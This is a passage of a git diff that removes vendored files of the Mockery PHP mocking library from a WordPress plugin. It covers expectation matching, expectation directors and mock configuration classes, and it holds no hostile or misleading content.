$this->_mock->mockery_getContainer()->mockery_validateOrder( - (string) $this, - $this->_globalOrderNumber, - $this->_mock - ); - } - } - - /** - * Verify this expectation - * - * @return void - */ - public function verify() - { - foreach ($this->_countValidators as $validator) { - $validator->validate($this->_actualCount); - } - } - - /** - * Verify the current call, i.e. that the given arguments match those - * of this expectation - * - * @throws Throwable - * - * @return mixed - */ - public function verifyCall(array $args) - { - $this->validateOrder(); - - ++$this->_actualCount; - - if ($this->_passthru === true) { - return $this->_mock->mockery_callSubjectMethod($this->_name, $args); - } - - $return = $this->_getReturnValue($args); - - $this->throwAsNecessary($return); - - $this->_setValues(); - - return $return; - } - - /** - * Expected argument setter for the expectation - * - * @param mixed ...$args - * - * @return self - */ - public function with(...$args) - { - return $this->withArgs($args); - } - - /** - * Set expectation that any arguments are acceptable - * - * @return self - */ - public function withAnyArgs() - { - $this->_expectedArgs = [new AnyArgs()]; - - return $this; - } - - /** - * Expected arguments for the expectation passed as an array or a closure that matches each passed argument on - * each function call. - * - * @param array|Closure $argsOrClosure - * - * @return self - */ - public function withArgs($argsOrClosure) - { - if (is_array($argsOrClosure)) { - return $this->withArgsInArray($argsOrClosure); - } - - if ($argsOrClosure instanceof Closure) { - return $this->withArgsMatchedByClosure($argsOrClosure); - } - - throw new InvalidArgumentException(sprintf( - 'Call to %s with an invalid argument (%s), only array and closure are allowed', - __METHOD__, - $argsOrClosure - )); - } - - /** - * Set with() as no arguments expected - * - * @return self - */ - public function withNoArgs() - { - $this->_expectedArgs = [new NoArgs()]; - - return $this; - } - - /** - * Expected arguments should partially match the real arguments - * - * @param mixed ...$expectedArgs - * - * @return self - */ - public function withSomeOfArgs(...$expectedArgs) - { - return $this->withArgs(static function (...$args) use ($expectedArgs): bool { - foreach ($expectedArgs as $expectedArg) { - if (! in_array($expectedArg, $args, true)) { - return false; - } - } - - return true; - }); - } - - /** - * Indicates this expectation should occur zero or more times - * - * @return self - */ - public function zeroOrMoreTimes() - { - return $this->atLeast()->never(); - } - - /** - * Setup the ordering tracking on the mock or mock container - * - * @param string $group - * @param object $ordering - * - * @return int - */ - protected function _defineOrdered($group, $ordering) - { - $groups = $ordering->mockery_getGroups(); - if ($group === null) { - return $ordering->mockery_allocateOrder(); - } - - if (array_key_exists($group, $groups)) { - return $groups[$group]; - } - - $result = $ordering->mockery_allocateOrder(); - - $ordering->mockery_setGroup($group, $result); - - return $result; - } - - /** - * Fetch the return value for the matching args - * - * @return mixed - */ - protected function _getReturnValue(array $args) - { - $closureQueueCount = count($this->_closureQueue); - - if ($closureQueueCount > 1) { - return array_shift($this->_closureQueue)(...$args); - } - - if ($closureQueueCount > 0) { - return current($this->_closureQueue)(...$args); - } - - $returnQueueCount = count($this->_returnQueue); - - if ($returnQueueCount > 1) { - return array_shift($this->_returnQueue); - } - - if ($returnQueueCount > 0) { - return current($this->_returnQueue); - } - - return $this->_mock->mockery_returnValueForMethod($this->_name); - } - - /** - * Check if passed argument matches an argument expectation - * - * @param mixed $expected - * @param mixed $actual - * - * @return bool - */ - protected function _matchArg($expected, &$actual) - { - if ($expected === $actual) { - return true; - } - - if ($expected instanceof MatcherInterface) { - return $expected->match($actual); - } - - if ($expected instanceof Constraint) { - return (bool) $expected->evaluate($actual, '', true); - } - - if ($expected instanceof Matcher || $expected instanceof Hamcrest_Matcher) { - @trigger_error('Hamcrest package has been deprecated and will be removed in 2.0', E_USER_DEPRECATED); - - return $expected->matches($actual); - } - - if (is_object($expected)) { - $matcher = Mockery::getConfiguration()->getDefaultMatcher(get_class($expected)); - - return $matcher === null ? false : $this->_matchArg(new $matcher($expected), $actual); - } - - if (is_object($actual) && is_string($expected) && $actual instanceof $expected) { - return true; - } - - return $expected == $actual; - } - - /** - * Check if the passed arguments match the expectations, one by one. - * - * @param array $args - * - * @return bool - */ - protected function _matchArgs($args) - { - for ($index = 0, $argCount = count($args); $index < $argCount; ++$index) { - $param = &$args[$index]; - - if (! $this->_matchArg($this->_expectedArgs[$index], $param)) { - return false; - } - } - - return true; - } - - /** - * Sets public properties with queued values to the mock object - * - * @return void - */ - protected function _setValues() - { - $mockClass = get_class($this->_mock); - - $container = $this->_mock->mockery_getContainer(); - - $mocks = $container->getMocks(); - - foreach ($this->_setQueue as $name => &$values) { - if ($values === []) { - continue; - } - - $value = array_shift($values); - - $this->_mock->{$name} = $value; - - foreach ($mocks as $mock) { - if (! $mock instanceof $mockClass) { - continue; - } - - if (! $mock->mockery_isInstance()) { - continue; - } - - $mock->{$name} = $value; - } - } - } - - /** - * @template TExpectedArg - * - * @param TExpectedArg $expectedArg - * - * @return bool - */ - private function isAndAnyOtherArgumentsMatcher($expectedArg) - { - return $expectedArg instanceof AndAnyOtherArgs; - } - - /** - * Check if the registered expectation is an ArgumentListMatcher - * - * @return bool - */ - private function isArgumentListMatcher() - { - return $this->_expectedArgs !== [] && $this->_expectedArgs[0] instanceof ArgumentListMatcher; - } - - /** - * Throws an exception if the expectation has been configured to do so - * - * @param Throwable $return - * - * @throws Throwable - * - * @return void - */ - private function throwAsNecessary($return) - { - if (! $this->_throw) { - return; - } - - if (! $return instanceof Throwable) { - return; - } - - throw $return; - } - - /** - * Expected arguments for the expectation passed as an array - * - * @return self - */ - private function withArgsInArray(array $arguments) - { - if ($arguments === []) { - return $this->withNoArgs(); - } - - $this->_expectedArgs = $arguments; - - return $this; - } - - /** - * Expected arguments have to be matched by the given closure. - * - * @return self - */ - private function withArgsMatchedByClosure(Closure $closure) - { - $this->_expectedArgs = [new MultiArgumentClosure($closure)]; - - return $this; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationDirector.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationDirector.php deleted file mode 100644 index 286268b8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationDirector.php +++ /dev/null @@ -1,242 +0,0 @@ - - */ - protected $_defaults = []; - - /** - * Stores an array of all expectations for this mock - * - * @var list - */ - protected $_expectations = []; - - /** - * The expected order of next call - * - * @var int - */ - protected $_expectedOrder = null; - - /** - * Mock object the director is attached to - * - * @var LegacyMockInterface|MockInterface - */ - protected $_mock = null; - - /** - * Method name the director is directing - * - * @var string - */ - protected $_name = null; - - /** - * Constructor - * - * @param string $name - */ - public function __construct($name, LegacyMockInterface $mock) - { - $this->_name = $name; - $this->_mock = $mock; - } - - /** - * Add a new expectation to the director - */ - public function addExpectation(Expectation $expectation) - { - $this->_expectations[] = $expectation; - } - - /** - * Handle a method call being directed by this instance - * - * @return mixed - */ - public function call(array $args) - { - $expectation = $this->findExpectation($args); - if ($expectation !== null) { - return $expectation->verifyCall($args); - } - - $exception = new NoMatchingExpectationException( - 'No matching handler found for ' - . $this->_mock->mockery_getName() . '::' - . Mockery::formatArgs($this->_name, $args) - . '. Either the method was unexpected or its arguments matched' - . ' no expected argument list for this method' - . PHP_EOL . PHP_EOL - . Mockery::formatObjects($args) - ); - - $exception->setMock($this->_mock) - ->setMethodName($this->_name) - ->setActualArguments($args); - - throw $exception; - } - - /** - * Attempt to locate an expectation matching the provided args - * - * @return mixed - */ - public function findExpectation(array $args) - { - $expectation = null; - - if ($this->_expectations !== []) { - $expectation = $this->_findExpectationIn($this->_expectations, $args); - } - - if ($expectation === null && $this->_defaults !== []) { - return $this->_findExpectationIn($this->_defaults, $args); - } - - return $expectation; - } - - /** - * Return all expectations assigned to this director - * - * @return array - */ - public function getDefaultExpectations() - { - return $this->_defaults; - } - - /** - * Return the number of expectations assigned to this director. - * - * @return int - */ - public function getExpectationCount() - { - $count = 0; - - $expectations = $this->getExpectations(); - - if ($expectations === []) { - $expectations = $this->getDefaultExpectations(); - } - - foreach ($expectations as $expectation) { - if ($expectation->isCallCountConstrained()) { - ++$count; - } - } - - return $count; - } - - /** - * Return all expectations assigned to this director - * - * @return array - */ - public function getExpectations() - { - return $this->_expectations; - } - - /** - * Make the given expectation a default for all others assuming it was correctly created last - * - * @throws Exception - * - * @return void - */ - public function makeExpectationDefault(Expectation $expectation) - { - if (end($this->_expectations) === $expectation) { - array_pop($this->_expectations); - - array_unshift($this->_defaults, $expectation); - - return; - } - - throw new Exception('Cannot turn a previously defined expectation into a default'); - } - - /** - * Verify all expectations of the director - * - * @throws Exception - * - * @return void - */ - public function verify() - { - if ($this->_expectations !== []) { - foreach ($this->_expectations as $expectation) { - $expectation->verify(); - } - - return; - } - - foreach ($this->_defaults as $expectation) { - $expectation->verify(); - } - } - - /** - * Search current array of expectations for a match - * - * @param array $expectations - * - * @return null|ExpectationInterface - */ - protected function _findExpectationIn(array $expectations, array $args) - { - foreach ($expectations as $expectation) { - if (! $expectation->isEligible()) { - continue; - } - - if (! $expectation->matchArgs($args)) { - continue; - } - - return $expectation; - } - - foreach ($expectations as $expectation) { - if ($expectation->matchArgs($args)) { - return $expectation; - } - } - - return null; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationInterface.php deleted file mode 100644 index 29c27d3a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationInterface.php +++ /dev/null @@ -1,38 +0,0 @@ -once(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/CachingGenerator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/CachingGenerator.php deleted file mode 100644 index deff12e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/CachingGenerator.php +++ /dev/null @@ -1,43 +0,0 @@ - - */ - protected $cache = []; - - /** - * @var Generator - */ - protected $generator; - - public function __construct(Generator $generator) - { - $this->generator = $generator; - } - - /** - * @return string - */ - public function generate(MockConfiguration $config) - { - $hash = $config->getHash(); - - if (array_key_exists($hash, $this->cache)) { - return $this->cache[$hash]; - } - - return $this->cache[$hash] = $this->generator->generate($config); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/DefinedTargetClass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/DefinedTargetClass.php deleted file mode 100644 index f2a3f327..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/DefinedTargetClass.php +++ /dev/null @@ -1,188 +0,0 @@ -rfc = $rfc; - $this->name = $alias ?? $rfc->getName(); - } - - /** - * @return class-string - */ - public function __toString() - { - return $this->name; - } - - /** - * @param class-string $name - * @param class-string|null $alias - * @return self - */ - public static function factory($name, $alias = null) - { - return new self(new ReflectionClass($name), $alias); - } - - /** - * @return list - */ - public function getAttributes() - { - if (PHP_VERSION_ID < 80000) { - return []; - } - - return array_unique( - array_merge( - ['\AllowDynamicProperties'], - array_map( - static function (ReflectionAttribute $attribute): string { - return '\\' . $attribute->getName(); - }, - $this->rfc->getAttributes() - ) - ) - ); - } - - /** - * @return array - */ - public function getInterfaces() - { - return array_map( - static function (ReflectionClass $interface): self { - return new self($interface); - }, - $this->rfc->getInterfaces() - ); - } - - /** - * @return list - */ - public function getMethods() - { - return array_map( - static function (ReflectionMethod $method): Method { - return new Method($method); - }, - $this->rfc->getMethods() - ); - } - - /** - * @return class-string - */ - public function getName() - { - return $this->name; - } - - /** - * @return string - */ - public function getNamespaceName() - { - return $this->rfc->getNamespaceName(); - } - - /** - * @return string - */ - public function getShortName() - { - return $this->rfc->getShortName(); - } - - /** - * @return bool - */ - public function hasInternalAncestor() - { - if ($this->rfc->isInternal()) { - return true; - } - - $child = $this->rfc; - while ($parent = $child->getParentClass()) { - if ($parent->isInternal()) { - return true; - } - - $child = $parent; - } - - return false; - } - - /** - * @param class-string $interface - * @return bool - */ - public function implementsInterface($interface) - { - return $this->rfc->implementsInterface($interface); - } - - /** - * @return bool - */ - public function inNamespace() - { - return $this->rfc->inNamespace(); - } - - /** - * @return bool - */ - public function isAbstract() - { - return $this->rfc->isAbstract(); - } - - /** - * @return bool - */ - public function isFinal() - { - return $this->rfc->isFinal(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Generator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Generator.php deleted file mode 100644 index 9dc59c83..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Generator.php +++ /dev/null @@ -1,19 +0,0 @@ -method = $method; - } - - /** - * @template TArgs - * @template TMixed - * - * @param string $method - * @param array $args - * - * @return TMixed - */ - public function __call($method, $args) - { - /** @var TMixed */ - return $this->method->{$method}(...$args); - } - - /** - * @return list - */ - public function getParameters() - { - return array_map(static function (ReflectionParameter $parameter) { - return new Parameter($parameter); - }, $this->method->getParameters()); - } - - /** - * @return null|string - */ - public function getReturnType() - { - return Reflector::getReturnType($this->method); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php deleted file mode 100644 index 1849c3e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php +++ /dev/null @@ -1,709 +0,0 @@ - - */ - protected $allMethods = []; - - /** - * Methods that should specifically not be mocked - * - * This is currently populated with stuff we don't know how to deal with, should really be somewhere else - */ - protected $blackListedMethods = []; - - protected $constantsMap = []; - - /** - * An instance mock is where we override the original class before it's autoloaded - * - * @var bool - */ - protected $instanceMock = false; - - /** - * If true, overrides original class destructor - * - * @var bool - */ - protected $mockOriginalDestructor = false; - - /** - * The class name we'd like to use for a generated mock - * - * @var string|null - */ - protected $name; - - /** - * Param overrides - * - * @var array - */ - protected $parameterOverrides = []; - - /** - * A class that we'd like to mock - * @var TargetClassInterface|null - */ - protected $targetClass; - - /** - * @var class-string|null - */ - protected $targetClassName; - - /** - * @var array - */ - protected $targetInterfaceNames = []; - - /** - * A number of interfaces we'd like to mock, keyed by name to attempt to keep unique - * - * @var array - */ - protected $targetInterfaces = []; - - /** - * An object we'd like our mock to proxy to - * - * @var object|null - */ - protected $targetObject; - - /** - * @var array - */ - protected $targetTraitNames = []; - - /** - * A number of traits we'd like to mock, keyed by name to attempt to keep unique - * - * @var array - */ - protected $targetTraits = []; - - /** - * If not empty, only these methods will be mocked - * - * @var array - */ - protected $whiteListedMethods = []; - - /** - * @param array $targets - * @param array $blackListedMethods - * @param array $whiteListedMethods - * @param string|null $name - * @param bool $instanceMock - * @param array $parameterOverrides - * @param bool $mockOriginalDestructor - * @param array|scalar> $constantsMap - */ - public function __construct( - array $targets = [], - array $blackListedMethods = [], - array $whiteListedMethods = [], - $name = null, - $instanceMock = false, - array $parameterOverrides = [], - $mockOriginalDestructor = false, - array $constantsMap = [] - ) { - $this->addTargets($targets); - $this->blackListedMethods = $blackListedMethods; - $this->whiteListedMethods = $whiteListedMethods; - $this->name = $name; - $this->instanceMock = $instanceMock; - $this->parameterOverrides = $parameterOverrides; - $this->mockOriginalDestructor = $mockOriginalDestructor; - $this->constantsMap = $constantsMap; - } - - /** - * Generate a suitable name based on the config - * - * @return string - */ - public function generateName() - { - $nameBuilder = new MockNameBuilder(); - - $targetObject = $this->getTargetObject(); - if ($targetObject !== null) { - $className = get_class($targetObject); - - $nameBuilder->addPart(strpos($className, '@') !== false ? md5($className) : $className); - } - - $targetClass = $this->getTargetClass(); - if ($targetClass instanceof TargetClassInterface) { - $className = $targetClass->getName(); - - $nameBuilder->addPart(strpos($className, '@') !== false ? md5($className) : $className); - } - - foreach ($this->getTargetInterfaces() as $targetInterface) { - $nameBuilder->addPart($targetInterface->getName()); - } - - return $nameBuilder->build(); - } - - /** - * @return array - */ - public function getBlackListedMethods() - { - return $this->blackListedMethods; - } - - /** - * @return array> - */ - public function getConstantsMap() - { - return $this->constantsMap; - } - - /** - * Attempt to create a hash of the configuration, in order to allow caching - * - * @TODO workout if this will work - * - * @return string - */ - public function getHash() - { - $vars = [ - 'targetClassName' => $this->targetClassName, - 'targetInterfaceNames' => $this->targetInterfaceNames, - 'targetTraitNames' => $this->targetTraitNames, - 'name' => $this->name, - 'blackListedMethods' => $this->blackListedMethods, - 'whiteListedMethod' => $this->whiteListedMethods, - 'instanceMock' => $this->instanceMock, - 'parameterOverrides' => $this->parameterOverrides, - 'mockOriginalDestructor' => $this->mockOriginalDestructor, - ]; - - return md5(serialize($vars)); - } - - /** - * Gets a list of methods from the classes, interfaces and objects and filters them appropriately. - * Lot's of filtering going on, perhaps we could have filter classes to iterate through - * - * @return list - */ - public function getMethodsToMock() - { - $methods = $this->getAllMethods(); - - foreach ($methods as $key => $method) { - if ($method->isFinal()) { - unset($methods[$key]); - } - } - - /** - * Whitelist trumps everything else - */ - $whiteListedMethods = $this->getWhiteListedMethods(); - if ($whiteListedMethods !== []) { - $whitelist = array_map('strtolower', $whiteListedMethods); - - return array_filter($methods, static function ($method) use ($whitelist) { - if ($method->isAbstract()) { - return true; - } - - return in_array(strtolower($method->getName()), $whitelist, true); - }); - } - - /** - * Remove blacklisted methods - */ - $blackListedMethods = $this->getBlackListedMethods(); - if ($blackListedMethods !== []) { - $blacklist = array_map('strtolower', $blackListedMethods); - - $methods = array_filter($methods, static function ($method) use ($blacklist) { - return ! in_array(strtolower($method->getName()), $blacklist, true); - }); - } - - /** - * Internal objects can not be instantiated with newInstanceArgs and if - * they implement Serializable, unserialize will have to be called. As - * such, we can't mock it and will need a pass to add a dummy - * implementation - */ - $targetClass = $this->getTargetClass(); - - if ( - $targetClass !== null - && $targetClass->implementsInterface(Serializable::class) - && $targetClass->hasInternalAncestor() - ) { - $methods = array_filter($methods, static function ($method) { - return $method->getName() !== 'unserialize'; - }); - } - - return array_values($methods); - } - - /** - * @return string|null - */ - public function getName() - { - return $this->name; - } - - /** - * @return string - */ - public function getNamespaceName() - { - $parts = explode('\\', $this->getName()); - array_pop($parts); - - if ($parts !== []) { - return implode('\\', $parts); - } - - return ''; - } - - /** - * @return array - */ - public function getParameterOverrides() - { - return $this->parameterOverrides; - } - - /** - * @return string - */ - public function getShortName() - { - $parts = explode('\\', $this->getName()); - return array_pop($parts); - } - - /** - * @return null|TargetClassInterface - */ - public function getTargetClass() - { - if ($this->targetClass) { - return $this->targetClass; - } - - if (! $this->targetClassName) { - return null; - } - - if (class_exists($this->targetClassName)) { - $alias = null; - if (strpos($this->targetClassName, '@') !== false) { - $alias = (new MockNameBuilder()) - ->addPart('anonymous_class') - ->addPart(md5($this->targetClassName)) - ->build(); - class_alias($this->targetClassName, $alias); - } - - $dtc = DefinedTargetClass::factory($this->targetClassName, $alias); - - if ($this->getTargetObject() === null && $dtc->isFinal()) { - throw new Exception( - 'The class ' . $this->targetClassName . ' is marked final and its methods' - . ' cannot be replaced. Classes marked final can be passed in' - . ' to \Mockery::mock() as instantiated objects to create a' - . ' partial mock, but only if the mock is not subject to type' - . ' hinting checks.' - ); - } - - $this->targetClass = $dtc; - } else { - $this->targetClass = UndefinedTargetClass::factory($this->targetClassName); - } - - return $this->targetClass; - } - - /** - * @return class-string|null - */ - public function getTargetClassName() - { - return $this->targetClassName; - } - - /** - * @return list - */ - public function getTargetInterfaces() - { - if ($this->targetInterfaces !== []) { - return $this->targetInterfaces; - } - - foreach ($this->targetInterfaceNames as $targetInterface) { - if (! interface_exists($targetInterface)) { - $this->targetInterfaces[] = UndefinedTargetClass::factory($targetInterface); - continue; - } - - $dtc = DefinedTargetClass::factory($targetInterface); - $extendedInterfaces = array_keys($dtc->getInterfaces()); - $extendedInterfaces[] = $targetInterface; - - $traversableFound = false; - $iteratorShiftedToFront = false; - foreach ($extendedInterfaces as $interface) { - if (! $traversableFound && preg_match('/^\\?Iterator(|Aggregate)$/i', $interface)) { - break; - } - - if (preg_match('/^\\\\?IteratorAggregate$/i', $interface)) { - $this->targetInterfaces[] = DefinedTargetClass::factory('\\IteratorAggregate'); - $iteratorShiftedToFront = true; - - continue; - } - - if (preg_match('/^\\\\?Iterator$/i', $interface)) { - $this->targetInterfaces[] = DefinedTargetClass::factory('\\Iterator'); - $iteratorShiftedToFront = true; - - continue; - } - - if (preg_match('/^\\\\?Traversable$/i', $interface)) { - $traversableFound = true; - } - } - - if ($traversableFound && ! $iteratorShiftedToFront) { - $this->targetInterfaces[] = DefinedTargetClass::factory('\\IteratorAggregate'); - } - - /** - * We never straight up implement Traversable - */ - $isTraversable = preg_match('/^\\\\?Traversable$/i', $targetInterface); - if ($isTraversable === 0 || $isTraversable === false) { - $this->targetInterfaces[] = $dtc; - } - } - - return $this->targetInterfaces = array_unique($this->targetInterfaces); - } - - /** - * @return object|null - */ - public function getTargetObject() - { - return $this->targetObject; - } - - /** - * @return list - */ - public function getTargetTraits() - { - if ($this->targetTraits !== []) { - return $this->targetTraits; - } - - foreach ($this->targetTraitNames as $targetTrait) { - $this->targetTraits[] = DefinedTargetClass::factory($targetTrait); - } - - $this->targetTraits = array_unique($this->targetTraits); // just in case - return $this->targetTraits; - } - - /** - * @return array - */ - public function getWhiteListedMethods() - { - return $this->whiteListedMethods; - } - - /** - * @return bool - */ - public function isInstanceMock() - { - return $this->instanceMock; - } - - /** - * @return bool - */ - public function isMockOriginalDestructor() - { - return $this->mockOriginalDestructor; - } - - /** - * @param class-string $className - * @return self - */ - public function rename($className) - { - $targets = []; - - if ($this->targetClassName) { - $targets[] = $this->targetClassName; - } - - if ($this->targetInterfaceNames) { - $targets = array_merge($targets, $this->targetInterfaceNames); - } - - if ($this->targetTraitNames) { - $targets = array_merge($targets, $this->targetTraitNames); - } - - if ($this->targetObject) { - $targets[] = $this->targetObject; - } - - return new self( - $targets, - $this->blackListedMethods, - $this->whiteListedMethods, - $className, - $this->instanceMock, - $this->parameterOverrides, - $this->mockOriginalDestructor, - $this->constantsMap - ); - } - - /** - * We declare the __callStatic method to handle undefined stuff, if the class - * we're mocking has also defined it, we need to comply with their interface - * - * @return bool - */ - public function requiresCallStaticTypeHintRemoval() - { - foreach ($this->getAllMethods() as $method) { - if ($method->getName() === '__callStatic') { - $params = $method->getParameters(); - - if (! array_key_exists(1, $params)) { - return false; - } - - return ! $params[1]->isArray(); - } - } - - return false; - } - - /** - * We declare the __call method to handle undefined stuff, if the class - * we're mocking has also defined it, we need to comply with their interface - * - * @return bool - */ - public function requiresCallTypeHintRemoval() - { - foreach ($this->getAllMethods() as $method) { - if ($method->getName() === '__call') { - $params = $method->getParameters(); - return ! $params[1]->isArray(); - } - } - - return false; - } - - /** - * @param class-string|object $target - */ - protected function addTarget($target) - { - if (is_object($target)) { - $this->setTargetObject($target); - $this->setTargetClassName(get_class($target)); - return; - } - - if ($target[0] !== '\\') { - $target = '\\' . $target; - } - - if (class_exists($target)) { - $this->setTargetClassName($target); - return; - } - - if (interface_exists($target)) { - $this->addTargetInterfaceName($target); - return; - } - - if (trait_exists($target)) { - $this->addTargetTraitName($target); - return; - } - - /** - * Default is to set as class, or interface if class already set - * - * Don't like this condition, can't remember what the default - * targetClass is for - */ - if ($this->getTargetClassName()) { - $this->addTargetInterfaceName($target); - return; - } - - $this->setTargetClassName($target); - } - - /** - * If we attempt to implement Traversable, - * we must ensure we are also implementing either Iterator or IteratorAggregate, - * and that whichever one it is comes before Traversable in the list of implements. - * - * @param class-string $targetInterface - */ - protected function addTargetInterfaceName($targetInterface) - { - $this->targetInterfaceNames[] = $targetInterface; - } - - /** - * @param array $interfaces - */ - protected function addTargets($interfaces) - { - foreach ($interfaces as $interface) { - $this->addTarget($interface); - } - } - - /** - * @param class-string $targetTraitName - */ - protected function addTargetTraitName($targetTraitName) - { - $this->targetTraitNames[] = $targetTraitName; - } - - /** - * @return list - */ - protected function getAllMethods() - { - if ($this->allMethods) { - return $this->allMethods; - } - - $classes = $this->getTargetInterfaces(); - - if ($this->getTargetClass()) { - $classes[] = $this->getTargetClass(); - } - - $methods = []; - foreach ($classes as $class) { - $methods = array_merge($methods, $class->getMethods()); - } - - foreach ($this->getTargetTraits() as $trait) { - foreach ($trait->getMethods() as $method) { - if ($method->isAbstract()) { - $methods[] = $method; - } - } - } - - $names = []; - $methods = array_filter($methods, static function ($method) use (&$names) { - if (in_array($method->getName(), $names, true)) { - return false; - } - - $names[] = $method->getName(); - return true; - }); - - return $this->allMethods = $methods; - } - - /** - * @param class-string $targetClassName - */ - protected function setTargetClassName($targetClassName) - { - $this->targetClassName = $targetClassName; - } - - /** - * @param object $object - */ - protected function setTargetObject($object) - { - $this->targetObject = $object; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfigurationBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfigurationBuilder.php deleted file mode 100644 index 989325e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfigurationBuilder.php +++ /dev/null @@ -1,252 +0,0 @@ - - */ - protected $blackListedMethods = [ - '__call', - '__callStatic', - '__clone', - '__wakeup', - '__set', - '__get', - '__toString', - '__isset', - '__destruct', - '__debugInfo', ## mocking this makes it difficult to debug with xdebug - - // below are reserved words in PHP - '__halt_compiler', 'abstract', 'and', 'array', 'as', - 'break', 'callable', 'case', 'catch', 'class', - 'clone', 'const', 'continue', 'declare', 'default', - 'die', 'do', 'echo', 'else', 'elseif', - 'empty', 'enddeclare', 'endfor', 'endforeach', 'endif', - 'endswitch', 'endwhile', 'eval', 'exit', 'extends', - 'final', 'for', 'foreach', 'function', 'global', - 'goto', 'if', 'implements', 'include', 'include_once', - 'instanceof', 'insteadof', 'interface', 'isset', 'list', - 'namespace', 'new', 'or', 'print', 'private', - 'protected', 'public', 'require', 'require_once', 'return', - 'static', 'switch', 'throw', 'trait', 'try', - 'unset', 'use', 'var', 'while', 'xor', - ]; - - /** - * @var array - */ - protected $constantsMap = []; - - /** - * @var bool - */ - protected $instanceMock = false; - - /** - * @var bool - */ - protected $mockOriginalDestructor = false; - - /** - * @var string - */ - protected $name; - - /** - * @var array - */ - protected $parameterOverrides = []; - - /** - * @var list - */ - protected $php7SemiReservedKeywords = [ - 'callable', 'class', 'trait', 'extends', 'implements', 'static', 'abstract', 'final', - 'public', 'protected', 'private', 'const', 'enddeclare', 'endfor', 'endforeach', 'endif', - 'endwhile', 'and', 'global', 'goto', 'instanceof', 'insteadof', 'interface', 'namespace', 'new', - 'or', 'xor', 'try', 'use', 'var', 'exit', 'list', 'clone', 'include', 'include_once', 'throw', - 'array', 'print', 'echo', 'require', 'require_once', 'return', 'else', 'elseif', 'default', - 'break', 'continue', 'switch', 'yield', 'function', 'if', 'endswitch', 'finally', 'for', 'foreach', - 'declare', 'case', 'do', 'while', 'as', 'catch', 'die', 'self', 'parent', - ]; - - /** - * @var array - */ - protected $targets = []; - - /** - * @var array - */ - protected $whiteListedMethods = []; - - public function __construct() - { - $this->blackListedMethods = array_diff($this->blackListedMethods, $this->php7SemiReservedKeywords); - } - - /** - * @param string $blackListedMethod - * @return self - */ - public function addBlackListedMethod($blackListedMethod) - { - $this->blackListedMethods[] = $blackListedMethod; - return $this; - } - - /** - * @param list $blackListedMethods - * @return self - */ - public function addBlackListedMethods(array $blackListedMethods) - { - foreach ($blackListedMethods as $method) { - $this->addBlackListedMethod($method); - } - - return $this; - } - - /** - * @param class-string $target - * @return self - */ - public function addTarget($target) - { - $this->targets[] = $target; - - return $this; - } - - /** - * @param list $targets - * @return self - */ - public function addTargets($targets) - { - foreach ($targets as $target) { - $this->addTarget($target); - } - - return $this; - } - - /** - * @return self - */ - public function addWhiteListedMethod($whiteListedMethod) - { - $this->whiteListedMethods[] = $whiteListedMethod; - return $this; - } - - /** - * @return self - */ - public function addWhiteListedMethods(array $whiteListedMethods) - { - foreach ($whiteListedMethods as $method) { - $this->addWhiteListedMethod($method); - } - - return $this; - } - - /** - * @return MockConfiguration - */ - public function getMockConfiguration() - { - return new MockConfiguration( - $this->targets, - $this->blackListedMethods, - $this->whiteListedMethods, - $this->name, - $this->instanceMock, - $this->parameterOverrides, - $this->mockOriginalDestructor, - $this->constantsMap - ); - } - - /** - * @param list $blackListedMethods - * @return self - */ - public function setBlackListedMethods(array $blackListedMethods) - { - $this->blackListedMethods = $blackListedMethods; - return $this; - } - - /** - * @return self - */ - public function setConstantsMap(array $map) - { - $this->constantsMap = $map; - - return $this; - } - - /** - * @param bool $instanceMock - */ - public function setInstanceMock($instanceMock) - { - $this->instanceMock = (bool) $instanceMock; - - return $this; - } - - /** - * @param bool $mockDestructor - */ - public function setMockOriginalDestructor($mockDestructor) - { - $this->mockOriginalDestructor = (bool) $mockDestructor; - return $this; - } - - /** - * @param string $name - */ - public function setName($name) - { - $this->name = $name; - return $this; - } - - /** - * @return self - */ - public function setParameterOverrides(array $overrides) - { - $this->parameterOverrides = $overrides; - return $this; - } - - /** - * @param list $whiteListedMethods - * @return self - */ - public function setWhiteListedMethods(array $whiteListedMethods) - { - $this->whiteListedMethods = $whiteListedMethods; 